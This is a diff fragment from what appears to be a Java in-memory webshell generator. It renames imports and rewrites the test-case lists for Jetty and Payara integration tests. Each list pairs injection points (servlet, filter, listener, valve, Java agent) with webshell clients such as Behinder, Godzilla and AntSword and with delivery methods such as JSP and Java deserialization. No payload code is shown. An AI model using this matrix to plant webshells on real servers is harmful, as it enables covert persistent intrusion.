arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class Jetty93ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class Jetty94ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.payara;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -43,59 +43,59 @@ public class Payara5201ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}

Some files were not shown because too many files have changed in this diff Show More